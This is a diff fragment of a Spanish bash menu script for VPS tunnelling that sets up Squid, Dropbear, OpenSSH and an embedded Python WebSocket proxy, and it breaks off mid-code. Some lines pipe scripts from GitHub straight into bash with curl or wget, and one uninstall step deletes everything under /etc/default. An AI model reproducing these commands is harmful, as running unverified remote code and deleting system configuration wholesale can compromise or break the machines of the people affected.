INSTALANDO SQUID" +msg -bar +[[ "${vercion}" > "21" ]] && { +[[ -e /etc/fixsquid ]] || call.squid +} || { + + [[ -e /etc/fixsquid ]] || { + fun_bar "apt-get install squid3 -y" + touch /etc/fixsquid + } +} + +echo -e " INICIANDO CONFIGURACION SQUID" +msg -bar +echo -e "" > /etc/payloads +#A�adir Host Squid +payload="/etc/payloads" +echo -e "" > /etc/payloads +echo -e " Escriba el Host-Squid que desea agregar" +echo -e " Iniciando con un ., ejemplo: .facebook.net" +read -p " Agregar Host " hos +if [[ $hos != \.* ]]; then +msg -bar +echo -e "\033[1;31m [!] Host-Squid debe iniciar con un "."\033[0m" +echo -e "\033[1;31m Asegurese de agregarlo despues corretamente!\033[0m" +fi +host="$hos/" +if [[ -z $host ]]; then +msg -bar +echo -e "\033[1;31m [!] Host-Squid no agregado" +echo -e "\033[1;31m Asegurese de agregarlo despues!\033[0m" +fi +echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload +msg -bar +echo -e "\033[1;32m Ahora escoja una Conf Para Su Proxy" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION COMUN" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION AVANZADA -\033[1;31m CUSTIMIZABLE\033[1;37m" +msg -bar +read -p " [1/2]: " -e -i 1 proxy_opt +unset var_squid +[[ -d /etc/squid ]] && var_squid='/etc/squid/squid.conf' +[[ -d /etc/squid3 ]] && var_squid='/etc/squid3/squid.conf' +if [[ "$proxy_opt" = @(02|2) ]]; then +echo -e "#ConfiguracionSquiD +acl url1 dstdomain -i $ip +acl url2 dstdomain -i 127.0.0.1 +acl url3 url_regex -i '/etc/payloads' +acl url4 dstdomain -i localhost +acl accept dstdomain -i GET +acl accept dstdomain -i POST +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i CONNECT +acl accept dstdomain -i PUT +acl HEAD dstdomain -i HEAD +acl accept dstdomain -i TRACE +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i PATCH +acl accept dstdomain -i PROPATCH +acl accept dstdomain -i DELETE +acl accept dstdomain -i REQUEST +acl accept dstdomain -i METHOD +acl accept dstdomain -i NETDATA +acl accept dstdomain -i MOVE +acl all src 0.0.0.0/0 +http_access allow url1 +http_access allow url2 +http_access allow url3 +http_access allow url4 +http_access allow accept +http_access allow HEAD +http_access deny all + +# Request Headers Forcing + +request_header_access Allow allow all +request_header_access Authorization allow all +request_header_access WWW-Authenticate allow all +request_header_access Proxy-Authorization allow all +request_header_access Proxy-Authenticate allow all +request_header_access Cache-Control allow all +request_header_access Content-Encoding allow all +request_header_access Content-Length allow all +request_header_access Content-Type allow all +request_header_access Date allow all +request_header_access Expires allow all +request_header_access Host allow all +request_header_access If-Modified-Since allow all +request_header_access Last-Modified allow all +request_header_access Location allow all +request_header_access Pragma allow all +request_header_access Accept allow all +request_header_access Accept-Charset allow all +request_header_access Accept-Encoding allow all +request_header_access Accept-Language allow all +request_header_access Content-Language allow all +request_header_access Mime-Version allow all +request_header_access Retry-After allow all +request_header_access Title allow all +request_header_access Connection allow all +request_header_access Proxy-Connection allow all +request_header_access User-Agent allow all +request_header_access Cookie allow all +request_header_access All deny all + +# Response Headers Spoofing + +reply_header_access Via deny all +reply_header_access X-Cache deny all +reply_header_access X-Cache-Lookup deny all + + +#portas" > "${var_squid}" +for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> "${var_squid}" +done +echo -e " +#nome +visible_hostname ChumoGHADM + +via off +forwarded_for off +pipeline_prefetch off" >> "${var_squid}" +else +cat <<-EOF > "${var_squid}" +#Configuracion SquiD +acl localhost src 127.0.0.1/32 ::1 +acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1 +acl SSL_ports port 443 +acl Safe_ports port 80 +acl Safe_ports port 21 +acl Safe_ports port 443 +acl Safe_ports port 70 +acl Safe_ports port 210 +acl Safe_ports port 1025-65535 +acl Safe_ports port 280 +acl Safe_ports port 488 +acl Safe_ports port 591 +acl Safe_ports port 777 +acl CONNECT method CONNECT +acl SSH dst $ip-$ip/255.255.255.255 +acl exprecion-denie url_regex '/etc/exprecion-denie' +acl dominio-denie dstdomain '/etc/dominio-denie' +http_access deny exprecion-denie +http_access deny dominio-denie +http_access allow SSH +http_access allow manager localhost +http_access deny manager +http_access allow localhost + +#puertos +EOF + + for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> "${var_squid}" +done +echo -e " +#nome +visible_hostname ChumoGHADM + +via off +forwarded_for off +pipeline_prefetch off" >> "${var_squid}" +fi +fun_eth +msg -bar + +echo -ne " \033[1;31m [ ! ] \033[1;33m REINICIANDO SERVICIOS" +squid3 -k reconfigure > /dev/null 2>&1 +squid -k reconfigure > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +service squid3 restart > /dev/null 2>&1 +service squid restart > /dev/null 2>&1 +echo -e " \033[1;32m[OK]" +msg -bar +echo -e " ${cor[3]}SQUID CONFIGURADO EXITOSAMENTE" +msg -bar +#UFW +for ufww in $(mportas|awk '{print $2}'); do +[[ -f "/usr/sbin/ufw" ]] && ufw allow $ufww 1> /dev/null 2> /dev/null +done +} +#INSTALAR DROPBEAR + +addnewd (){ +unset yesno +unset dnew +echo -e "\033[1;32mDeseas Adicionar alguno mas?? " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +foc=$(($foc + 1)) +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo -e "\033[1;34mIngresa Nuevo Puerto a Escuchar:" +read -p ": " dnew + if lsof -Pi :$dnew -sTCP:LISTEN -t >/dev/null ; then + echo -e "\033[1;37mPuerto Seleccionado Ocupado | Reintenta" + else + dvj=$(cat < /etc/default/dadd) + sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear + echo "Reiniciando Dropbear para ejecutar cambios" + echo "Numero de Intento : $foc" + service dropbear restart + [[ -f "/usr/sbin/ufw" ]] && ufw allow $dnew/tcp 1> /dev/null 2> /dev/null + dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; + echo "Puertos que Corren en DROPBEAR " $dropbearports + fi +#echo -e "\033[1;32mDeseas Adicionar alguno mas?? " +echo "EXITO AL AÑADIR PUERTO" +sleep 0.5s +addnewd +else +unset foc +cd /ADMcgh && ./menu_inst +fi +} + +fun_openssh() { + clear + source /ADMcgh/header + msg -bar + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m \033[1;33mADICIONAR PORTA\033[1;31m +[\033[1;36m2\033[1;31m] \033[1;37m \033[1;33mREMOVER PUERTO OPENSSH\033[1;31m +[\033[1;36m3\033[1;31m] \033[1;37m \033[1;33mREGRESAR\033[0m" + msg -bar + echo -ne "\033[1;32mOPCION \033[1;33m:\033[1;37m " + read resp + if [[ "$resp" = '1' ]]; then + clear + echo -e "\E[44;1;37m ADICIONAR PUERTO OPENSSH \E[0m\n" + echo -ne " \033[1;32mQUE PUERTO DESEAS AADIR \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 1 + return 0 + } + verif_ptrs $pt + echo -e "\n\033[1;32mAADIENDO PUERTO A OPENSSH\033[0m" + echo "" + fun_addpssh() { + echo "Port $pt" >>/etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_addpssh' + echo -e "\n\033[1;32mPUERTO ADICIONADO CON EXITO\033[0m" + sleep 3 + return 0 + elif [[ "$resp" = '2' ]]; then + clear + echo -e "\E[41;1;37m ELIMINAR PUERTO OPENSSH \E[0m" + echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPUERTO DETENIDO \033[1;37m22 \033[1;33mCUIDADO !\033[0m" + echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n" + echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 2 + return 0 + } + [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && { + echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m" + echo "" + fun_delpssh() { + sed -i "/Port $pt/d" /etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_delpssh' + echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m" + sleep 2 + return 0 + } || { + echo -e "\n\033[1;31mPorta invalida!" + sleep 2 + return 0 + } + elif [[ "$resp" = '3' ]]; then + echo -e "\n\033[1;31mRetornando.." + sleep 2 + return 0 + else + echo -e "\n\033[1;31mOpcao invalida!" + sleep 2 + return 0 + fi + } + + + +fun_dropbear () { +clear&&clear +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`; +# INICIO STUNNEL ACTIVO +figlet " DROPBEAR " | lolcat +msg -bar +if [[ -z $dropbearports ]]; then + print_center -r 'DROPBEAR SIN INSTALAR' + msg -bar&&menu_func "INSTALAR DROPBEAR \e[38;5;219m[#oficial]" + unset lim +else + print_center -azu "DROPBEAR => [$dropbearports]" + msg -bar&&menu_func 'REINSTALAR DROPBEAR' '-vm ELIMINAR PUERTO[S]' "\e[1;32m [+] AÑADIR PUERTO[S] [+]" + lim='3' +fi +msg -bar +case `selection_fun ${lim:=1}` in +1) +clear +########LLAMAMOS FUNCION DROPBEAR####### +service dropbear stop 1> /dev/null 2> /dev/null +service sshd restart > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +dropbearuniversal +printext 'DROPBEAR CONFIGURADO EXITOSAMENTE'&&enter +;; +2) + [[ -e /etc/default/dropbear ]] && { + msg -r '[x] REMOVIENDO DROPBEAR [x]'; msg -bar + ( service dropbear stop 1&&service sshd restart&&service ssh restart ) &> /dev/null 2>&1 + fun_bar "apt-get remove dropbear -y" +cmd=('killall dropbear' 'apt-get -y purge dropbear' 'apt-get -y remove dropbear' 'apt autoremove -y') +for i in {0..3};do +eval ${cmd[$i]} >/dev/null 2>&1 +done + msg -bar + echo -e "\033[1;32m DROPBEAR DESINSTALADO " + msg -bar + [[ -d /etc/default/ ]] && rm -f /etc/default/* + user -k $dpa/tcp > /dev/null 2>&1 + return + } +;; +3) +[[ -e /etc/default/dropbear ]] && { +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +cp /etc/default/dropbear /etc/default/dropbear.or +read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: ' portdrop +dnew="$portdrop" +fun_bar +if lsof -Pi :$portdrop -sTCP:LISTEN -t >/dev/null ; then +tput cuu1&&tput dl1&&echo -ne "\e[1;31m[x] PUERTO YA UTILIZADO [x]" +printf '\n%10s[Intente con otro]\n' +return $? +else + #sed -i "2d" /etc/default/dropbear +dvj=$(cat < /etc/default/dadd) +sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear +#sed -i '2i DROPBEAR_EXTRA_ARGS="-p '"$portdrop"'"' /etc/default/dropbear +echo $portdrop > /etc/default/dadd +echo "Reiniciando Dropbear para ejecutar cambios" +fun_bar +service dropbear restart +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +echo "Puertos que Corren en DROPBEAR " $dropbearports +foc=1 +addnewd +fi + return 0 + } +echo "Desgraciado, No HAS INSTALADO EL SERVICIO AUN ;C" + return 0 +;; +*) + return 0 +;; +esac +} + + +fun_shadowsocks () { +wget -q https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh +figlet ChumoGH +bash shadowsocks.sh +rm shadowsocks.sh +} + + +instala_clash () { +# while : +# do +# clear +#[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} " +tittle +echo -e "\033[1;37m ?? ?? Reseller :$(cat < /etc/scpdk1/menu_credito | head -1) - ADM 2023 ?? 】\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m" +echo -e "\033[1;37mSeleccione una opcion : Para Salir Ctrl + C\033[1;33m" +#echo -e "${cor[3]} Esta herramienta Permite escojer el menu Clash Nuevo y Antiguo" +#echo -e "${cor[3]} Si manejas los Menu de Trojan Y v2ray, Usa 1" +#msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} CLASH FOR ANDROID ( 2023 ) " +sleep 2s +#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} Menu Clash - Menu Antiguo (Ingreso Manual)" +#msg -bar +#echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +#msg -bar +#selection=$(selection_fun 2) +#case ${selection} in +# 1) + source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh) + read -p " Presiona Enter Para Continuar " +# return 0;; +# 2) +# wget -q -O /bin/ejecutar/clash.sh https://www.dropbox.com/s/tyuz3ms5zv73pyy/clash.sh +# chmod +x /bin/ejecutar/clash.sh +# bash /bin/ejecutar/clash.sh +# [[ -e /bin/ejecutar/clash.sh ]] && rm /bin/ejecutar/clash.sh +# return 0 +# ;; +# 0) break +# return 0 +## *) echo -e "\n selecione una opcion del 0 al 2" && sleep 1;; +# esac +# done +#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ChumoGH-Script/master/Clash/clash.sh) +#bash -c "$(curl -fsSL https://raw.githubusercontent.com/JeannieStudio/all_install/master/SixForOne_install.sh)" +} + +iniciarsocks () { +msg -bar3 +ADM_inst="/etc/adm-lite" #&& [[ ! -d ${ADM_inst} ]] && exit +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA " + +fun_upgrade() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +sudo apt install software-properties-common -y &> /dev/null +apt install python2 -y &> /dev/null +sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixpython +} + +function aguarde() { + sleep .1 + echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 " + helice() { + fun_upgrade >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +[[ "${vercion}" > "20" ]] && { +echo -e "" +msg -bar3 +[[ -e /etc/fixpython ]] || aguarde +} || { +echo + [[ -e /etc/fixpython ]] || { + echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 " + apt-get install python -y &>/dev/null + apt-get install python3 -y &>/dev/null + touch /etc/fixpython + } +} + +clear + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +stop_all () { +_ps="$(ps x)" + ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python") + [[ -z ${ck_py} ]] && ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "WS-Epro") + if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then + print_center -verm "Puertos PYTHON no encontrados" + msg -bar3 + else + ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}') + [[ -z ${ck_port} ]] && ck_port=$(echo -e "${_ps}" | grep PDirect | grep -v grep | awk '{print $7}') + for i in $ck_port; do + kill -9 $(echo -e "${_ps}"| grep PDirect | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + systemctl stop python.${i} &>/dev/null + systemctl disable python.${i} &>/dev/null + rm -f /etc/systemd/system/python.${i}.service + rm -f /etc/adm-lite/PDirect + done + for pidproxy in $(screen -ls | grep ".ws" | awk {'print $1'}); do + screen -r -S "$pidproxy" -X quit + done + [[ $(grep -wc "PDirect.py" /bin/autoboot) != '0' ]] && { + sed -i '/PDirect/d' /bin/autoboot + sed -i '/python/d' /bin/autoboot + } + rm -f /etc/adm-lite/PDirect + screen -wipe &>/dev/null + kill -9 $(echo -e "${_ps}" | grep -w python | grep -v grep | awk '{print $1}') &>/dev/null + print_center -verd "Puertos PYTHON detenidos" + msg -bar3 + fi + sleep 0.5 + } + +stop_port () { + sleep 0.5 + clear + STPY="$(mportas | grep python| awk '{print $2}')" + STPY+=" $(mportas |grep WS-Epro| awk '{print $2}')" + msg -bar3 + print_center -ama "DETENER UN PUERTO" + msg -bar3 + n=1 + for i in $STPY; do + echo -e " \033[1;32m[$n] \033[1;31m> \033[1;37m$i\033[0m" + pypr[$n]=$i + let n++ + done + + msg -bar3 + echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER" + msg -bar3 + echo -ne "\033[1;37m opcion: " && read prpy + tput cuu1 && tput dl1 + + [[ $prpy = "0" ]] && return + systemctl stop python.${pypr[$prpy]} &>/dev/null + systemctl disable python.${pypr[$prpy]} &>/dev/null + rm /etc/systemd/system/python.${pypr[$prpy]}.service &>/dev/null + sed -i "/ws${pypr[$prpy]}/d" /bin/autoboot &>/dev/null + kill -9 $(echo -e "${_ps}"| grep -w "ws${pypr[$prpy]}" | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + kill $(echo -e "${_ps}"| grep -w "${pypr[$prpy]}" | grep -v grep | awk '{print $1}') &>/dev/null + sed -i '/PDirect${pypr[$prpy]}/d' /bin/autoboot + screen -wipe &>/dev/null + print_center -verd "PUERTO PYTHON ${pypr[$prpy]} RETIRADO" + msg -bar3 + sleep 0.5 + } + +colector(){ +conect="$1" + clear + msg -bar3 + print_center -azu " Puerto Principal, para Proxy Directo" + msg -bar3 + +while [[ -z $porta_socket ]]; do + echo -ne "\033[1;37m Digite el Puerto: " && read porta_socket + porta_socket=$(echo ${porta_socket}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${porta_socket}") = "" ]] && { + echo -e "\033[1;33m Puerto python:\033[1;32m ${porta_socket} VALIDO" + msg -bar3 + } || { + echo -e "\033[1;33m Puerto python:\033[1;31m ${porta_socket} OCUPADO" && sleep 1 + tput cuu1 && tput dl1 + unset porta_socket + } + done + + if [[ $conect = "PDirect" ]]; then + print_center -azu " Puerto Local SSH/DROPBEAR/OPENVPN" + msg -bar3 + + while [[ -z $local ]]; do + echo -ne "\033[1;97m Digite el Puerto: \033[0m" && read local + local=$(echo ${local}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${local}") = "" ]] && { + echo -e "\033[1;33m Puerto local:\033[1;31m ${local} NO EXISTE" && sleep 1 + tput cuu1 && tput dl1 + unset local + } || { + echo -e "\033[1;33m Puerto local:\033[1;32m ${local} VALIDO" + msg -bar3 + tput cuu1 && tput dl1 + } + done + msg -bar3 +echo -e " Respuesta de Encabezado (101,200,484,500,etc) \033[1;37m" +msg -bar3 + print_center -azu "Response personalizado (enter por defecto 200)" + print_center -ama "NOTA : Para OVER WEBSOCKET escribe (101)" + msg -bar3 + echo -ne "\033[1;97m ENCABEZADO : \033[0m" && read response + response=$(echo ${response}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + if [[ -z $response ]]; then + response="200" + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + else + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + fi + msg -bar3 + fi + + if [[ ! $conect = "PGet" ]] && [[ ! $conect = "POpen" ]]; then + print_center -azu "Introdusca su Mini-Banner" + msg -bar3 + print_center -azu "Introduzca un texto [NORMAL] o en [HTML]" + echo -ne "-> : " + read texto_soket + fi + + if [[ $conect = "PPriv" ]]; then + py="python3" + IP=$(fun_ip) + elif [[ $conect = "PGet" ]]; then + echo "master=ChumoGH" > ${ADM_tmp}/pwd.pwd + while read service; do + [[ -z $service ]] && break + echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${ADM_tmp}/pwd.pwd + done <<< "$(mportas)" + porta_bind="0.0.0.0:$porta_socket" + pass_file="${ADM_tmp}/pwd.pwd" + py="python" + else + py="python" + fi +[[ -z $textosocket ]] && textosocket="@drowkid01" +mod1() { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -ama " BINARIO OFICIAL DE Epro Dev Team " +sleep 2s && tput cuu1 && tput dl1 +[[ -e /etc/adm-lite/PDirect ]] && { +echo -e "[Unit] +Description=WS-Epro Service by @ChumoGH +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -salome -listen :${porta_socket} -ssh 127.0.0.1:${local} -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} || { +echo "# verbose level 0=info, 1=verbose, 2=very verbose +verbose: 0 +listen: +- target_host: 127.0.0.1 + target_port: ${local} + listen_port: ${porta_socket}" > /etc/adm-lite/PDirect + +echo -e "[Unit] +Description=WS-Epro Service by @ChumoGH +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} + systemctl enable python.$porta_socket &>/dev/null + systemctl start python.$porta_socket &>/dev/null + + if [[ $conect = "PGet" ]]; then + [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && { + print_center -verd "Gettunel Iniciado com Exito" + print_center -azu "Su Contrase�a Gettunel es: $(msg -ama "ChumoGH")" + msg -bar3 + } || { + print_center -verm2 "Gettunel no fue iniciado" + msg -bar3 + } + fi + } + + mod2() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +#texto_soket="$(echo $texto|sed 'y/áÁàÂ54ãÒâÀ32é� 30ê�`íÍóÀ34õ� 22ôÀ35ú�añÀ30ç� 21ªº/aAaAaAaAeEeEiIoOoOoOuUnNcCao/')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " + #[[ ! -z $pass_file ]] && conf+="-p $pass_file" + #[[ ! -z $local ]] && conf+="-l $local " + #[[ ! -z $response ]] && conf+="-r $response " + #[[ ! -z $IP ]] && conf+="-i $IP " + [[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +( +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = 